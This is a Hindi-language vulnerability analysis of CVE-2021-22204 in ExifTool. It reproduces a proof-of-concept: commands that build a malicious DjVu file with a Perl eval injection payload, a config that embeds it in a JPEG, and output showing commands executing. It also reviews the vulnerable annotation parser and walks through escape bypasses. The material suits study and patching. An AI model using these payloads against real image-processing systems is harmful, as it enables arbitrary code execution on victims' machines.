
CVE-2021-22204 (ExifTool RCE) का गहन तकनीकी विश्लेषण, PoC पुनरुत्पादन, पेलोड निर्माण, और कमजोर DjVu एनोटेशन पार्सर की Perl कोड समीक्षा के साथ।
यह CVE-2021-22204 का विश्लेषण लेख होना चाहिए था, लेकिन यह मेरी ड्राफ्ट नोटबुक की तरह है, जो बहुत सारी अव्यवस्थित चीजों से भरी हुई है। भेद्यता विश्लेषण लेख के लिए यह कुछ हद तक अनावश्यक लगता है, लेकिन इसने मुझे बहुत कुछ सिखाया।
सच कहूँ तो, मैंने कभी इस उपकरण का उपयोग नहीं किया, और मैंने लगभग Perl भाषा को भी नहीं छुआ, जिसके कारण विश्लेषण और पुनरुत्पादन की प्रक्रिया में मेरे मन में बहुत सारे प्रश्न थे। विश्लेषण शुरू करने से पहले, आइए इंटरनेट पर पहले से प्रकाशित POC और मेरे मन के प्रश्नों को देखें।
एक लेख [1] देखा, जिसमें भेद्यता के कारणों का संक्षिप्त परिचय दिया गया है, लेकिन चूंकि मैं Perl कोड नहीं समझता, इसलिए कई जगह स्पष्ट नहीं थीं। इसका पुनरुत्पादन प्रक्रिया निम्नानुसार है:
exiftool का संस्करण 12.23 डाउनलोड करें
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
निकालें और स्थापित करें
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
बेशक, यदि आप इसे स्थापित नहीं करना चाहते हैं, तो आप सीधे exiftool-12.23 निर्देशिका के अंतर्गत exiftool फ़ाइल को पर्यावरण चर के पथ में रख सकते हैं, और फिर आप सीधे exiftool उपकरण का उपयोग कर सकते हैं, क्योंकि Perl एक व्याख्यात्मक भाषा है, Python की तरह।
एक दुर्भावनापूर्ण छवि बनाएं, पहले आवश्यक उपकरण स्थापित करें
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
एक दुर्भावनापूर्ण djvu फ़ाइल बनाने के लिए निम्नलिखित कमांड निष्पादित करें
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# यह सबसे भ्रामक हिस्सा है, मुझे समझ नहीं आता कि इसे संपीड़ित क्यों किया जाए (क्योंकि अन्य POC में इसकी आवश्यकता नहीं है)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = प्रारूप 'N,N' में कुछ भी जहां N एक संख्या है
# BGjp = एक JPEG छवि की अपेक्षा करता है, लेकिन हम पृष्ठभूमि छवि के रूप में /dev/null का उपयोग कर सकते हैं
# ANTz = इनपुट फ़ाइल के साथ संपीड़ित एनोटेशन खंड लिखेगा
फिर exiftool उपकरण के माध्यम से उस दुर्भावनापूर्ण फ़ाइल को पार्स करें, और id कमांड सफलतापूर्वक निष्पादित होता हुआ दिखाई देगा
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
पहले djvumake कमांड के माध्यम से djvu प्रारूप फ़ाइल बनाते समय, क्या payload को संपीड़ित नहीं किया जा सकता? क्योंकि विश्लेषण के दृष्टिकोण से यह देखने और परीक्षण करने में सुविधाजनक नहीं है। बेशक, बस पैरामीटर ANTz को ANTa से बदलें। यहां ANTz और ANTa का उल्लेख exiftool दस्तावेज़ [3] में किया गया है, लेकिन मैं अभी भी उनका सटीक अर्थ नहीं ढूंढ पाया क्योंकि कोई मानक स्पष्टीकरण नहीं मिला।
यहां एक शिकायत करूंगा, मैं
man djvumakeके माध्यम से पैरामीटर का विवरण देखना चाहता था, लेकिन इसमेंANTzऔरANTaके बारे में कोई स्पष्टीकरण नहीं था, दस्तावेज़ की तारीख 2001 थी, बहुत समय से अपडेट नहीं हुआ।
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa djvu फ़ाइल के अंदर metadata में स्पष्ट टेक्स्ट प्रारूप में Annotation संग्रहीत करता है, ANTz bzz संपीड़ित प्रारूप में।
लेकिन djvu प्रारूप फ़ाइलें आम नहीं हैं, विशेष रूप से वेबसाइटों पर छवि अपलोड करते समय, अधिकतर केवल png/jpg/jpeg जैसी फ़ाइलें स्वीकार की जाती हैं। इसलिए यदि दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल में बदला जा सके, तो अच्छा होगा।
exiftool उपकरण हमें छवि की सामग्री को संशोधित करने में मदद कर सकता है, बस दुर्भावनापूर्ण djvu फ़ाइल को jpg फ़ाइल के उपयुक्त स्थान पर डालें, और विशिष्ट स्थान क्या है, और ऐसा क्यों हो सकता है, इसका विश्लेषण बाद में समझाया जाएगा।
एक exiftool कॉन्फ़िगरेशन फ़ाइल eval.config बनाएं
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corresponds to Tag 'HasselbladExif'[6]
0xc51b => {
# नाम इच्छानुसार निर्दिष्ट किया जा सकता है, यह प्राप्त पैरामीटर का नाम है
Name => 'HasselbladExif',
# लिखने योग्य चर का प्रकार
Writable => 'string',
# डेटा किस Group[7] के metadata में लिखा जाएगा
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool कॉन्फ़िगरेशन फ़ाइल कैसे लिखें, इसके लिए [4][5] देखें। फिर एक सामान्य jpg छवि फ़ाइल poc.jpg लें और निम्नलिखित कमांड निष्पादित करें
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
फिर exiftool के माध्यम से poc.jpg को पार्स करें, कमांड सफलतापूर्वक निष्पादित होता है
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
निम्नलिखित विश्लेषण प्रक्रिया [2] की सामग्री पर आधारित है, भेद्यता से प्रभावित संस्करण exiftool < 12.24 है, और भेद्यता पैदा करने वाली फ़ाइल है
lib/Image/ExifTool/DjVu.pm (line 202)
संबंधित फ़ंक्शन कोड इस प्रकार है
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
मैंने कभी Perl भाषा को नहीं छुआ, सच कहूँ तो, मैंने मूलतः यह कोड समझ नहीं पाया कि यह क्या कर रहा है, लेकिन अच्छी बात यह है कि बहुत अच्छी टिप्पणियाँ हैं जो इस फ़ंक्शन के कार्य को समझने में मदद करती हैं। फ़ंक्शन की टिप्पणियों से, यह djvu फ़ाइल में एनोटेशन डेटा को पार्स करने के लिए है, और कोड संरचना के अनुसार, यह पुनरावर्ती रूप से संसाधित करता है, और एनोटेशन डेटा () के साथ सीमांकित है।
कोड को समझने में आसानी के लिए, और सीखने के उद्देश्य से, यहां Perl में आंतरिक रेगुलर एक्सप्रेशन के उपयोग का संक्षिप्त परिचय दिया गया है।
Perl रेगुलर एक्सप्रेशन का उपयोग करने का तरीका बहुत विशिष्ट है, और यह उन भाषाओं से भिन्न है जिनका मैंने पहले सामना किया है। Perl में रेगुलर तीन रूपों में आते हैं:
m//, m को छोड़ा जा सकता हैs///tr///// के बीच रेगुलर एक्सप्रेशन या स्ट्रिंग होती है, लेकिन सीमांकक {} भी हो सकते हैं, न कि केवल //, यह Perl भाषा की विशेषता है।
पहले मिलान के कोड उदाहरण देखें
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
Perl में =~ ऑपरेटर के माध्यम से रेगुलर एक्सप्रेशन कार्यक्षमता का उपयोग किया जा सकता है। उपरोक्त कोड में, चाहे रेगुलर मिले या न मिले, $str को प्रिंट करने पर this is a string ही आउटपुट होगा। लेकिन जब रेगुलर मेल नहीं खाता है, तो यह बूलियन false लौटाता है।
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
यदि आप स्ट्रिंग वेरिएबल की सामग्री को बदलना चाहते हैं, तो आप नीचे दिए गए तरीके से कर सकते हैं
#!/usr/bin/perl
$str = "this is a string";
# या $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# आउटपुट
# this is str
प्रतिस्थापन कार्यक्षमता का उपयोग करने पर वेरिएबल का मान सीधे बदल जाता है।
Perl में रेगुलर एक्सप्रेशन के बारे में जानने के बाद, आइए पहले वाले फ़ंक्शन पर फिर से नज़र डालें
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# प्राप्त पैरामीटर (एक संदर्भ) प्राप्त करें
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# बाएं कोष्ठक मिलने पर पुनरावर्ती रूप से संसाधित करें
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# पिछले रेगुलर मिलान की स्थिति प्राप्त करें, यहां पहुंचने पर यह स्थिति पहले उद्धरण चिह्न की है
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# दूसरी बार दाहिने उद्धरण चिह्न की स्थिति से मिलान करें, और उद्धरणों के बीच सामग्री निकालें
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# जांचें कि बैकस्लैश की संख्या विषम है या नहीं, ताकि बाद में qq{""} में पंक्ति के अंत में " को एस्केप होने से बचाया जा सके
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# यदि विषम है, तो एक " जोड़ें
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
समझने में आसानी के लिए, एक उपयुक्त फ़ाइल की आवश्यकता है जिसे exiftool पार्स करने पर यह फ़ंक्शन निष्पादित करे। पिछली विधि से एक djvu फ़ाइल exploit.djvu बनाई जा सकती है, जिसमें payload है
(metadata (Author "trganda"))
उसके बाद, ParseAnt($) फ़ंक्शन के महत्वपूर्ण भागों में कुछ print जोड़ें, जानकारी प्रिंट करें, जैसा ऊपर दिखाया गया है। फिर exiftool के स्रोत निर्देशिका में निष्पादित करें
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
यहाँ से देखा जा सकता है कि अंत में eval में निष्पादित की जाने वाली सामग्री यह है, ध्यान दें कि दोहरे उद्धरण चिह्न को नज़रअंदाज़ न करें।
"trganda"
तो क्या trganda को system फ़ंक्शन से बदलकर कमांड निष्पादित किया जा सकता है? आइए देखते हैं
$tok = "${system('id')};";
# output
# "\${system('id')};"
चलाने पर पता चलता है कि आउटपुट केवल इनपुट टेक्स्ट है, कोड निष्पादित नहीं हुआ, क्योंकि $ को \$ से बदल दिया गया है
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
तो इस सीमा को कैसे बायपास किया जाए? इस प्रश्न के लिए कदम-दर-कदम आगे बढ़ना होगा, [2] के लेखक ने परीक्षण के दौरान निम्नलिखित payload का उपयोग किया।
(metadata (Author "a\
""))
चलाने के बाद आउटपुट निम्न है, eval ने एक अपवाद फेंका।
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
यहाँ समझाया गया है कि इस payload को डालने पर क्या होता है, मुख्य रूप से दूसरे for लूप पर ध्यान दें
# Author का एनोटेशन सामग्री है, \n को न भूलें
"a\(\n)
""
# for लूप में पहली बार उपstring निकालने पर, $tok को मिलता है, क्योंकि पहली बार रेगुलर पहले दोहरे उद्धरण से मिलता है, दूसरी बार दूसरी पंक्ति के पहले दोहरे उद्धरण से मिलता है
a\(\n)
# फिर कोड जांचता है कि पंक्ति के अंत में \ की संख्या विषम है या नहीं, यदि हाँ, तो एक " जोड़ा जाएगा,
# और regex $tok =~ /(\\+)$/ में, $ प्रतीक \n से मिलता है न कि टेक्स्ट के अंत से।
# इस प्रकार बाद का कोड निष्पादित होगा, $tok के अंत में एक " जोड़ा जाएगा।
a\(\n)"
# दूसरी बार लूप में प्रवेश करने पर उपstring निकाला जाता है, दूसरी पंक्ति में "" के बीच की सामग्री मिलती है, लेकिन यह खाली है, $tok के साथ जोड़ने पर पिछले के समान परिणाम मिलता है
a\(\n)"
# फिर eval में निष्पादित की जाने वाली सामग्री है
qq{"$tok"} -> "a\(\n)""
# eval निष्पादन के बाद त्रुटि, क्योंकि " बंद नहीं हुआ
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Perl में eval के निष्पादन तर्क के बारे में, आधिकारिक दस्तावेज़ [9] देखने की सलाह दी जाती है। लेकिन चूंकि कुछ सामग्री दस्तावेज़ में उल्लिखित नहीं है, और मैंने कभी Perl का उपयोग नहीं किया, इसलिए मैंने कुछ सामग्री को समझने में शुरुआत में कठिनाई महसूस की। केवल कोड नमूनों के माध्यम से लगातार परीक्षण करके eval के कुछ तर्क को समझ पाया। नीचे कुछ ऐसी सामग्री का उल्लेख किया जाएगा जो इस भेद्यता को समझने में मदद करेगी, फिर वास्तविक payload के निष्पादन प्रक्रिया के बारे में बताया जाएगा।
Perl में eval का कार्य कोड स्निपेट निष्पादित करने के अलावा, अपवादों को पकड़ना भी है, और यह प्रोग्राम के निष्पादन को बाधित नहीं करता है। eval स्ट्रिंग स्थिरांक, स्ट्रिंग वेरिएबल, या सीधे कोड डालकर पार्स और निष्पादित कर सकता है।
# स्ट्रिंग स्थिरांक
eval "system('id')";
# वेरिएबल
$cm = "system('id')";
eval $cm;
eval "$cm";
# सीधे कोड निष्पादित करें
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
eval की निष्पादन नीति केवल अंतिम उप-कथन का परिणाम लौटाती है, यानी यदि कई कोड खंड शामिल हैं, तो केवल अंतिम परिणाम लिया जाता है, नीचे दिए गए तरीके से
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
जब eval किसी कथन को निष्पादित करने में त्रुटि करता है, तो बाद का कोड भी निष्पादित नहीं होगा, और एक अपवाद फेंकेगा (यदि कोई हो)।
पीछे मुड़कर देखें, परीक्षण के लिए उपयोग किए गए payload से क्या पता चला? यदि हम सफलतापूर्वक " को बंद कर सकें और आवश्यक कोड को दूसरी पंक्ति के " के बीच रख सकें, तो कोड eval द्वारा निष्पादित किया जा सकता है। [2] के लेखक ने निम्नलिखित रूप दिया
(metadata
(Author "\
" . return `date`; #")
)
# अंत में eval में निष्पादित की जाने वाली सामग्री
"\
" . return `date`; #"
तो eval द्वारा निष्पादित इस भाग को कैसे समझें? पहले, Perl में . ऑपरेटर स्ट्रिंग को जोड़ने के लिए उपयोग किया जाता है, इसलिए पहले निष्पादित होगा
return `date`;
फिर लौटाया गया परिणाम \(\n) के साथ जोड़ा जाएगा। वास्तव में, इस return को जोड़ना date कमांड के निष्पादन को प्रभावित नहीं करेगा, और अंतिम " को टिप्पणी के रूप में माना जाता है।
बेशक, इसे इस तरह भी लिखा जा सकता है
(metadata (Author "\
"; return `date`; #"))
# अंत में eval में निष्पादित की जाने वाली सामग्री
"\
"; return `date`; #"
इस तरह, eval पहले "\(\n)"; को पार्स करेगा, इस भाग को एक स्ट्रिंग के रूप में देखा जाएगा, फिर बाद के कथन को पार्स करना जारी रखेगा, तो date कमांड सफलतापूर्वक निष्पादित हो जाएगा।
उपरोक्त payload को निष्पादित करने पर नीचे दिए गए परिणाम दिखाई देंगे, जो सफल निष्पादन को दर्शाते हैं।
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
यहाँ तक लिखते-लिखते थोड़ी थकान हो गई। [2] के लेखक द्वारा दिया गया payload " को बायपास करके बहुत अच्छी तरह काम करता है, तो क्या कोई अन्य तरीका है? वास्तव में, पीछे मुड़कर देखें तो शुरुआती [1] की सामग्री में ही यह दिया गया था
(metadata "\c${system('id')};")
यह जानना आवश्यक है कि ParseAnt($) फ़ंक्शन $ प्रतीक को प्रतिस्थापित करेगा, जिससे सीधे निष्पादित नहीं हो पाता। तो यह क्यों काम करता है? क्या आप उत्सुक हैं कि \c का क्या कार्य है? पहले, इस payload का उपयोग करके djvu फ़ाइल बनाएं, exiftool पार्स करने के बाद, eval में भेजी गई सामग्री है
"\c\${system('id')};"
\c के बिना
"\${system('id')};"
यह कोड वास्तव में निष्पादित नहीं होगा, अंत में केवल एक स्ट्रिंग लौटाई जाएगी, क्योंकि $ प्रतीक एस्केप हो गया है। और \c का कार्य $ के सामने \ के प्रभाव को रद्द करना है, जिससे बाद का कोड निष्पादित हो सके। Perl में कई एस्केप वर्ण हैं, और \c उनमें से एक है, लेकिन इसका उपयोग अकेले नहीं किया जाता है, बल्कि इसे एक मनमाना वर्ण के साथ जोड़ा जाता है।
| एस्केप वर्ण | अर्थ |
|---|---|
| \cX | नियंत्रण वर्ण, X कोई भी वर्ण हो सकता है |
यही कारण है कि \c\ को किसी अन्य चीज़ के रूप में व्याख्या किया जाता है, और बाद का कोड निष्पादित हो जाता है।
पहले बनाए गए दुर्भावनापूर्ण फ़ाइलें केवल djvu प्रारूप तक सीमित थीं। यदि एक सामान्य फ़ाइल, जैसे jpg छवि, बनाई जा सके, तो यह अधिक सार्थक होगा। इसके लिए, यह पता लगाना आवश्यक है कि किन फ़ाइलों को पार्स करते समय भेद्यता वाले फ़ंक्शन ParseAnt($) को कॉल किया जाता है।
ऊपर की ओर खोज करने पर पता चला कि ProcessAnt($$$) ParseAnt($) को कॉल करता है, लेकिन आगे पीछे जाने पर सीधे नहीं मिल पाया।
ProcessAnt($$$)
|
v
ParseAnt($)
चूंकि Perl भाषा में मॉड्यूल की गतिशील लोडिंग तंत्र है, इसलिए यह देखा जा सकता है कि DjVu.pm फ़ाइल कहाँ लोड की गई है।

मिली फ़ाइलों में से एक-एक करके जाँच करने पर lib/Image/ExifTool.pm की line 2620 में निम्नलिखित कोड मिला, जो फ़ाइल के प्रकार के आधार पर निर्णय लेता है कि किस मॉड्यूल को लोड करके संबंधित फ़ाइल को संसाधित किया जाए।
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
इसके बाद, यह देखा गया कि ExtractInfo($;@) कहाँ कॉल किया गया है। कई स्थान मिले, मुख्य रूप से lib/Image/ExifTool/Exif.pm की line 3004 के कोड भाग पर ध्यान दें
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main एक Map प्रकार की तालिका है, और Exif.pm का कार्य टिप्पणी में बताया गया है कि यह EXIF/TIFF मानकों के अनुरूप metadata जानकारी पढ़ता है
Description: Read EXIF/TIFF meta information
वास्तव में, पिछले पुनरुत्पादन में %Image::ExifTool::Exif::Main देखा गया था, तब समझ नहीं आया कि 0xc51b का क्या अर्थ है, और यह क्यों आवश्यक था। अब पता चला कि जब तक फ़ाइल के metadata में 0xc51b आईडी के अनुरूप सामग्री शामिल है, तब तक इसे ExtractInfo फ़ंक्शन द्वारा पार्स किया जाएगा, और धीरे-धीरे भेद्यता वाले फ़ंक्शन तक पहुंचेगा।
इसलिए पहले, exiftool की शक्तिशाली कस्टमाइज़ेशन क्षमता के माध्यम से, एक कॉन्फ़िग फ़ाइल लिखी गई, इसे एक सामान्य jpg फ़ाइल के रूप में कस्टमाइज़ किया गया, और 0xc51b इस प्रकार का metadata डाला गया, जिसमें दुर्भावनापूर्ण सामग्री थी। यहाँ तक, पूरी ट्रिगर प्रक्रिया स्पष्ट हो गई, और मेरे अपने प्रश्न भी हल हो गए। [2] के लेखक ने अन्य प्रारूपों की फ़ाइलों में दुर्भावनापूर्ण डेटा डालने के अन्य तरीके भी बताए, जो इसी समान हैं।
github के diff को देखें, परिणाम निम्न है

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)
[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io
[3] TagNames of DjVu
[4] TagNames Explan
[5] Exiftool User Defined Configuration File
[6] EXIF
[7] Groups
[8] exiftool-arbitrary-code-execution
[9] eval in Perl